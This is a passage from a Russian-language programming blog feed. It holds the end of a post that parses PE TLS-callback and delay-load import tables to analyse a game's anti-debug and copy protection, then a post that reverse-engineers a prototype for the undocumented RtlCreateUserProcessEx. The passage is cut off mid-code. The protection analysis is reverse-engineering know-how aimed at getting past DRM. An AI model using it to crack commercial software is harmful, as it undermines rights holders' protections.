&nbsp; &nbsp; &nbsp; &nbsp; TlsCallback<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
<span class="kw1">else</span> wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;<span class="es1">\n</span>TLS directory not found!<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Пример вывода данных в консоль<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5316&amp;d=1553672822" rel="Lightbox" id="attachment5316" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5316&amp;thumb=1&amp;d=1553672822" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 1096
Размер:	8.5 Кб
ID:	5316" style="margin: 5px" /></a><br />
<br />
В данной игре навесили аж 2 потока IMAGE_TLS_CALLBACK, которых при реверсе обойти будет не так то просто.<br />
<br />
Но и это не предел возможностей данной таблицы. Анализируя защиту другой игры, я обнаружил так называемый вложенный TlsCallback<br />
<div class="codeblock"><table class="asm"><thead><tr><td colspan="2" id="652115715"  class="head">Assembler</td></tr></thead><tbody><tr class="li1"><td><div id="652115715" style="height: 46px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
</pre></td><td class="de1"><pre class="de1"><span class="kw1">mov</span> <span class="kw4">rax</span><span class="sy1">,</span> <span class="kw4">gs</span><span class="sy1">:</span><span class="br0">&#91;</span><span class="nu0">0x58</span><span class="br0">&#93;</span> inputhost!TlsCallback_0<span class="sy1">/</span><span class="nu0">1</span></pre></td></tr></table></div></td></tr></tbody></table></div>Отлаживая поток IMAGE_TLS_CALLBACK я понял, что код вызывает ещё 2 TlsCallback из inputhost.dll и причём так хитро, что самой библиотеки inputhost.dll изначально не было ни в таблице импорта, ни в таблице отложенного импорта.<br />
TlsCallback из inputhost.dll работает следующим образом:<br />
все необработанные исключения уходят в kernel32!UnhandledExceptionFilter<br />
но в импорте игры в экспорте kernel32.dll не было UnhandledExceptionFilter<br />
если SEH отсутствует, указатель на регистр с адресом-смещением rip-&gt;UnhandledExceptionFilter(EXCEPTION_POIN TERS) устанавливается через SetUnhandledExceptionFilter(0)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="861311489"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="861311489" style="height: 142px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
</pre></td><td class="de1"><pre class="de1">RaiseSecurity<span class="br0">&#40;</span><span class="kw4">struct</span> _EXCEPTION_POINTERS<span class="sy2">*</span> __ptr64 ExceptionInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; SetUnhandledExceptionFilter<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; UnhandledExceptionFilter<span class="br0">&#40;</span>ExceptionInfo<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>IsDebuggerPresent<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; _crt_debugger_hook<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">return</span> TerminateProcess<span class="br0">&#40;</span>hProcess, <span class="nu12">0xC0000409</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div><font size="5"><b>IMAGE_DELAYLOAD_DESCRIPTOR</b></font><br />
Таблица отложенного импорта содержит информацию, необходимую для отложенной загрузки импортируемых библиотек.<br />
Отложенная загрузка импорта означает, что dll присоединена к исполняемому файлу, но загружается в память не сразу, как при обычном импорте, а только при первом обращении программы к символу, импортируемому из этой dll.<br />
<br />
Получение информации о таблице отложенного импорта:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="941110640"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="941110640" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="de1"><pre class="de1">wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;****************************************************************<span class="es1">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IMAGE_DELAYLOAD_DESCRIPTOR<span class="es1">\n</span>****************************************************************&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
IMAGE_DELAYLOAD_DESCRIPTOR<span class="sy2">*</span> __ptr64 pDelayDir <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_DELAYLOAD_DESCRIPTOR <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT<span class="br0">&#93;</span>.<span class="me1">VirtualAddress</span><span class="br0">&#41;</span><span class="sy4">;</span>
<span class="kw1">if</span> <span class="br0">&#40;</span>pNt<span class="sy2">-</span><span class="sy1">&gt;</span>OptionalHeader.<span class="me1">DataDirectory</span><span class="br0">&#91;</span>IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT<span class="br0">&#93;</span>.<span class="me1">Size</span> <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>DllNameRVA<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_THUNK_DATA64<span class="sy2">*</span> __ptr64 ImportNameTable <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>ImportNameTableRVA<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64 ImportAddressTable <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_THUNK_DATA64 <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>ImportAddressTableRVA<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es1">\n</span>%s (INT: 0x%016llX, IAT: 0x%016llX, BoundIAT: 0x%016llX)<span class="es1">\n</span>&quot;</span>,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>DllNameRVA,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>ImportNameTableRVA,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>ImportAddressTableRVA,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> pDelayDir<span class="sy2">-</span><span class="sy1">&gt;</span>BoundImportAddressTableRVA<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>ImportNameTable<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span><span class="br0">&#40;</span>ImportNameTable<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">Ordinal</span> <span class="sy3">&amp;</span> IMAGE_ORDINAL_FLAG64<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE_IMPORT_BY_NAME<span class="sy2">*</span> __ptr64 ImportFunctionName <span class="sy1">=</span> <span class="br0">&#40;</span>IMAGE_IMPORT_BY_NAME <span class="sy2">*</span> __ptr64<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> __int64<span class="br0">&#41;</span>ImageBaseAddr <span class="sy2">+</span> ImportNameTable<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot; %-50s --- &quot;</span>, ImportFunctionName<span class="sy2">-</span><span class="sy1">&gt;</span>Name<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;0x%016llX<span class="es1">\n</span>&quot;</span>, ImportAddressTable<span class="sy2">-</span><span class="sy1">&gt;</span>u1.<span class="me1">AddressOfData</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ImportNameTable<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ImportAddressTable<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; pDelayDir<span class="sy2">++</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
<span class="br0">&#125;</span>
<span class="kw1">else</span> wprintf<span class="br0">&#40;</span><span class="co3">L</span><span class="st0">&quot;<span class="es1">\n</span>Delayload directory not found!<span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Пример вывода данных в консоль<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5317&amp;d=1553672822" rel="Lightbox" id="attachment5317" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5317&amp;thumb=1&amp;d=1553672822" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.png
Просмотров: 697
Размер:	21.0 Кб
ID:	5317" style="margin: 5px" /></a><br />
Здесь видно, что библиотека, необходимая для запуска клиента игры, находится в таблице отложенного импорта.<br />
При взломе эту таблицу эмулируют, получая от неё данные в процессе отладки.<br />
Но здесь поступили хитро, убрав библиотеку из основного импорта, поэтому отлаживать её возможно только после запуска игры.<br />
<br />
Подведём итоги проанализированной защиты:<br />
1. код программы обфусцирован двумя виртуальными машинами (Denuvo, VMProtrect)<br />
2. имеется два TlsCallback (с возможно вложенными потоками)<br />
3. основная библиотека клиента игры не доступна для отладки без запуска самой игры.<br />
<br />
PS: это не все таблицы. По мере тестирования буду добавлять остальные.</div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/5746.html</guid>
		</item>
		<item>
			<title>Прототип RtlCreateUserProcessEx</title>
			<link>https://www.cyberforum.ru/blogs/172954/5644.html</link>
			<pubDate>Tue, 29 Jan 2019 07:25:22 GMT</pubDate>
			<description>Потребовалось недавно создать процесс средствами Native API. 
Из всего набора функций ntdll.dll...</description>
			<content:encoded><![CDATA[<div>Потребовалось недавно создать процесс средствами Native API.<br />
Из всего набора функций ntdll.dll имеются следующие варианты:<br />
1. NtCreateProcess(Ex) - создаётся элементарно просто (NtOpenFile -&gt; NtCreateSection -&gt; NtCreateProcess -&gt; NtGetContextThread -&gt; NtCreateThread) но связать процесс с csrss слишком геморно, поэтому дальше чем не зарегистрированные хендлы объекта ядра пройти сложно. (Вообще между NtCreateThread и NtCreateThreadEx очень большая разница, но сейчас не об этом).<br />
2. NtCreateUserProcess - в принципе оптимальный вариант, регистрация csrss проходит автоматически в процессе создания, но на Windows 10 с ней есть проблема: структура OBJECT_ATTRIBUTES в данном контексте предназначена только для вызовов из режима ядра, поэтому структура не учитывается при переключении контекста обратно в пользовательский режим. При возврате в режим пользователя адрес всегда равен нулю.<br />
3. RtlCreateUserProcess(Ex) - функция, которая перешла из WinXP в качестве режима совместимости новых ОС со старыми программами. После выполнения она вызывает NtCreateUserProcess.<br />
<br />
Решил взять её. RtlCreateUserProcess создать просто. Для этого сначала нужно передать в RtlCreateProcessParameters юникод строку и структуру RTL_USER_PROCESS_PARAMETERS. Если используется RtlCreateProcessParameters, то желательно вызывать RtlNormalizeProcessParams для нормализации параметров структуры RTL_USER_PROCESS_PARAMETERS. Либо воспользоваться RtlCreateProcessParametersEx у которой последним параметром идёт флаг нормализации равный 1.<br />
Все прототипы этих функций в интернете есть (пишу код без CRT, VC runtime и стандартных хидеров из предыдущего блога <a href="https://www.cyberforum.ru/blogs/172954/blog5635.html">https://www.cyberforum.ru/blog... g5635.html</a>)<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="614406693"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="614406693" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _RTL_USER_PROCESS_INFORMATION <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="coMULTI">/*+0x000*/</span> <span class="kw4">unsigned</span> __int32 Length<span class="sy0">;</span> <span class="co1">// Uint4B</span>
&nbsp; &nbsp; <span class="coMULTI">/**/</span> <span class="kw4">void</span><span class="sy0">*</span> __ptr64 hProcess<span class="sy0">;</span> <span class="co1">// Ptr64 Void</span>
&nbsp; &nbsp; <span class="coMULTI">/**/</span> <span class="kw4">void</span><span class="sy0">*</span> __ptr64 hThread<span class="sy0">;</span> <span class="co1">// Ptr64 Void</span>
&nbsp; &nbsp; <span class="coMULTI">/**/</span> CLIENT_ID ClientId<span class="sy0">;</span> <span class="co1">// _CLIENT_ID</span>
&nbsp; &nbsp; <span class="coMULTI">/**/</span> SECTION_IMAGE_INFORMATION ImageInformation<span class="sy0">;</span> <span class="co1">// _SECTION_IMAGE_INFORMATION</span>
<span class="br0">&#125;</span> RTL_USER_PROCESS_INFORMATION<span class="sy0">;</span>
&nbsp;
<span class="kw4">typedef</span> __int32<span class="br0">&#40;</span>__stdcall<span class="sy0">*</span> __ptr64 _RtlCreateProcessParameters<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64<span class="sy0">*</span> __ptr64 pProcessParameters<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 ImagePathName<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 DllPath<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64CurrentDirectory<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 CommandLine<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">void</span><span class="sy0">*</span> __ptr64 Environment<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 WindowTitle<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 DesktopInfo<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 ShellInfo<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 RuntimeData
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
_RtlCreateProcessParameters RtlCreateProcessParameters<span class="sy0">;</span>
&nbsp;
<span class="kw4">typedef</span> __int32<span class="br0">&#40;</span>__stdcall<span class="sy0">*</span> __ptr64 _RtlCreateProcessParametersEx<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64<span class="sy0">*</span> __ptr64 pProcessParameters<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 ImagePathName<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 DllPath<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 CurrentDirectory<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 CommandLine<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">void</span><span class="sy0">*</span> __ptr64 Environment<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 WindowTitle<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 DesktopInfo<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 ShellInfo<span class="sy0">,</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 RuntimeData<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> __int32 Flags
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
_RtlCreateProcessParametersEx RtlCreateProcessParametersEx<span class="sy0">;</span>
&nbsp;
<span class="kw4">typedef</span> RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64 <span class="br0">&#40;</span>__stdcall<span class="sy0">*</span> __ptr64 _RtlNormalizeProcessParams<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64 ProcessParameters
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
_RtlNormalizeProcessParams RtlNormalizeProcessParams<span class="sy0">;</span>
&nbsp;
<span class="kw4">typedef</span> __int32<span class="br0">&#40;</span>__stdcall<span class="sy0">*</span> __ptr64 _RtlCreateUserProcess<span class="br0">&#41;</span><span class="br0">&#40;</span>
&nbsp; &nbsp; UNICODE_STRING<span class="sy0">*</span> __ptr64 NtImagePathName<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> __int32 AttributesDeprecated<span class="sy0">,</span>
&nbsp; &nbsp; RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64 ProcessParameters<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">struct</span> _SECURITY_DESCRIPTOR<span class="sy0">*</span> __ptr64 ProcessSecurityDescriptor<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">struct</span> _SECURITY_DESCRIPTOR<span class="sy0">*</span> __ptr64 ThreadSecurityDescriptor<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">void</span><span class="sy0">*</span> __ptr64 ParentProcess<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> InheritHandles<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">void</span><span class="sy0">*</span> __ptr64 DebugPort<span class="sy0">,</span>
&nbsp; &nbsp; <span class="kw4">void</span><span class="sy0">*</span> __ptr64 TokenHandle<span class="sy0">,</span>
&nbsp; &nbsp; RTL_USER_PROCESS_INFORMATION<span class="sy0">*</span> __ptr64 ProcessInformation
&nbsp; &nbsp; <span class="br0">&#41;</span><span class="sy0">;</span>
_RtlCreateUserProcess RtlCreateUserProcess<span class="sy0">;</span>
&nbsp;
RTL_USER_PROCESS_PARAMETERS<span class="sy0">*</span> __ptr64 proc <span class="sy0">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy0">;</span>
RTL_USER_PROCESS_INFORMATION info <span class="sy0">=</span> <span class="br0">&#123;</span> <span class="nu0">0</span> <span class="br0">&#125;</span><span class="sy0">;</span>
&nbsp;
UNICODE_STRING str<span class="sy0">;</span>
str.<span class="me1">Length</span> <span class="sy0">=</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>L<span class="st0">&quot;<span class="es1">\\</span>??<span class="es1">\\</span>C:<span class="es1">\\</span>Users<span class="es1">\\</span>USER<span class="es1">\\</span>Documents<span class="es1">\\</span>programs<span class="es1">\\</span>AIDA<span class="es1">\\</span>cpuz_x64.exe&quot;</span><span class="br0">&#41;</span> <span class="sy0">-</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">short</span><span class="br0">&#41;</span><span class="sy0">;</span>
str.<span class="me1">MaximumLength</span> <span class="sy0">=</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>L<span class="st0">&quot;<span class="es1">\\</span>??<span class="es1">\\</span>C:<span class="es1">\\</span>Users<span class="es1">\\</span>USER<span class="es1">\\</span>Documents<span class="es1">\\</span>programs<span class="es1">\\</span>AIDA<span class="es1">\\</span>cpuz_x64.exe&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
str.<span class="me1">Buffer</span> <span class="sy0">=</span> L<span class="st0">&quot;<span class="es1">\\</span>??<span class="es1">\\</span>C:<span class="es1">\\</span>Users<span class="es1">\\</span>USER<span class="es1">\\</span>Documents<span class="es1">\\</span>programs<span class="es1">\\</span>AIDA<span class="es1">\\</span>cpuz_x64.exe&quot;</span><span class="sy0">;</span>
&nbsp;
RtlCreateProcessParameters<span class="br0">&#40;</span><span class="sy0">&amp;</span>proc<span class="sy0">,</span> <span class="sy0">&amp;</span>str<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
RtlNormalizeProcessParams<span class="br0">&#40;</span>proc<span class="br0">&#41;</span><span class="sy0">;</span>
RtlCreateUserProcess<span class="br0">&#40;</span><span class="sy0">&amp;</span>str<span class="sy0">,</span> <span class="nu12">0x40</span><span class="sy0">,</span> proc<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span> __ptr64<span class="br0">&#41;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="sy0">&amp;</span>info<span class="br0">&#41;</span><span class="sy0">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Хорошо, хендлы процесса и потока есть, иду в отладчик и смотрю цепочку вызовов до перехода в ядро (int 2e, syscall/sysenter)<br />
ntdll!RtlCreateUserProcess -&gt; ntdll!RtlCreateUserProcessEx -&gt; RtlpCreateUserProcess -&gt; ntdll!NtCreateUserProcess<br />
<br />
Получается RtlCreateUserProcess это враппер над RtlCreateUserProcessEx и это лишние &quot;телодвижения&quot; перед переходом в ядро.<br />
RtlpCreateUserProcess является внутренней (Internal) функцией и не экспортируется, поэтому делать её прототип бессмысленно, т.к. вызвать её нельзя.<br />
<br />
Нужно вызывать RtlCreateUserProcessEx. Ок, полез в гугл за прототипом и тут я был слегка ошеломлен.<br />
Ни гугл, ни сорсы Process Hacker, ни сорсы ReactOS не знают про существование этой функции. Нонсенс!<br />
<br />
Делать нечего, нужна IDA и дизассемблированный листинг этой функции.<br />
Открываем иду, переходим к RtlCreateUserProcess и жмакаем F5, видим следующее<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5170&amp;d=1548746180" rel="Lightbox" id="attachment5170" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=5170&amp;thumb=1&amp;d=1548746180" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 1004
Размер:	18.4 Кб
ID:	5170" style="margin: 5px" /></a><br />
RtlCreateUserProcess принимает 10 аргументов (что соответствует её прототипу) и возвращает вызов RtlCreateUserProcessEx с 5 аргументами.<br />
Давайте посмотрим что это за аргументы.<br />
a1 - это UNICODE_STRING* __ptr64 из аргументов RtlCreateUserProcess<br />
a3 - это структура RTL_USER_PROCESS_PARAMETERS* __ptr64<br />
a7 - это unsigned char<br />
v11 - что-то типа флага (ида показывает 1, но это не так, он должен быть 0)<br />
a10 - это структура RTL_USER_PROCESS_INFORMATION* __ptr64 из аргументов RtlCreateUserProcess<br />
<br />
Вот собственно и прототип<br />
<div class="codeblock"><table class="c"><thead><tr><td colspan="2" id="463582570"  class="head">C</td></tr></thead><tbody><tr class="li1"><td><div id="463582570" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="de1"><pre class="de1"><span class="coMULTI">/*NTSYSAPI</span>
<span class="coMULTI">NTSTATUS</span>
<span class="coMULTI">NTAPI</span>
<span class="coMULTI">RtlCreateUserProcessEx(</span>
<span class="coMULTI">&nbsp; &nbsp; _In_ PUNICODE_STRING NtImagePathName,</span>
<span class="coMULTI">&nbsp; &nbsp; _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,</span>
<span class="coMULTI">&nbsp; &nbsp; _In_ BOOLEAN InheritHandles,</span>
<span class="coMULTI">&nbsp; &nbsp; _Reserved_ ULONG Flags,</span>
<span class="coMULTI">&nbsp; &nbsp; _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation</span>
<span class="coMULTI">);*/</span>
&nbsp;
<span class="kw4">typedef</span> __int32<span class="br0">&#40;</span>__stdcall<span class="sy0">*</span> __ptr64 _RtlCreateUserProcessEx<span class="br0">&#41;</span><span class="br0">&#40;</span>
